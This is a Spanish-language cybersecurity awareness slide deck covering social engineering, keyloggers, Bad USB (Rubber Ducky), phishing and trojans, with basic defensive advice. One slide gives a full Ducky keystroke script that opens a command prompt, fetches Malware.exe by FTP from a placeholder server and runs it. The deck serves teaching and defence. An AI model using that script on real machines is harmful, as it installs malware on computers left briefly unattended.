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Conocer al enemigoINTERNET ES MARAVILLOSO
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Conocer al enemigoHacking Social

- En cualquier sistema:           
"los usuarios son el eslabón débil“

- ¿Cuál es el nombre de mi 
perro?



Conocer al enemigoHacking Social

- Lanzamiento de USB



ROBO CUENTA GMAIL
- Cuidado con la previsualización notificaciones

- Tener el sistema operativo actualizado



Conocer al enemigoKEYLOGGER

- Registrar las pulsaciones que 
se realizan en el teclado

- Fichero o Internet



Conocer al enemigoKEYLOGGER



- Tener el sistema operativo actualizado

- Tener un antivirus

- Buenas prácticas en internet

- ¡Cuidado! ¿Es seguro el ordenador donde 
metes credenciales?

KEYLOGGER



Conocer al enemigoDUCKY USB

- ES UN TECLADO
- BUFFER DE TECLAS
- INDETECTABLE ANTIVIRUS

50€



Conocer al enemigoDUCKY USB

- BAD USB

- FLASHEAR FIRMWARE 
MICROCONTROLADOR USB



GUI r 
DELAY 200 
STRING cmd
ENTER 
DELAY 600 
STRING cd %USERPROFILE% 
ENTER 
STRING ftp -i SERVER ENTER 
DELAY 800 
STRING USERNAME 
ENTER 
STRING PASSWORD 
ENTER
STRING GET Malware.exe 
ENTER 
DELAY 3000 
STRING quit
ENTER
STRING Malware.exe
ENTER 
DELAY 3000 
ALT F4



- Bloquear el equipo siempre que no se esté 
delante

- Andar con ojo

BAD USB



Conocer al enemigoPHISING

- Suplantación de identidad

- Persona o empresa de 
confianza en una aparente 
comunicación oficial 
electrónica







- Tener un antivirus

- Aplicar el sentido común

- Estar alerta

PHISING



Conocer al enemigoTROYANO

- Aparentemente legítimo

- Brinda al atacante acceso 
remoto al equipo infectado



- Tener el sistema operativo actualizado

- Tener un antivirus

- Buenas prácticas en internet

- Tapar webcam

TROYANO



Conocer al enemigoINTERNET ES MARAVILLOSO

Pero es como ir por la calle o viajar:

Hay que tomar precauciones y actuar con 
sentido común



SIGUIENTE SEMINARIO

- Fallo en el diseño de 
todos los procesadores 

- Afecta a todos los 
sistemas operativos



¡GRACIAS!

Félix Lanas Mangado

felix.lanas@gmail.com
@felixlanas
es.linkedin.com/in/felixlanas
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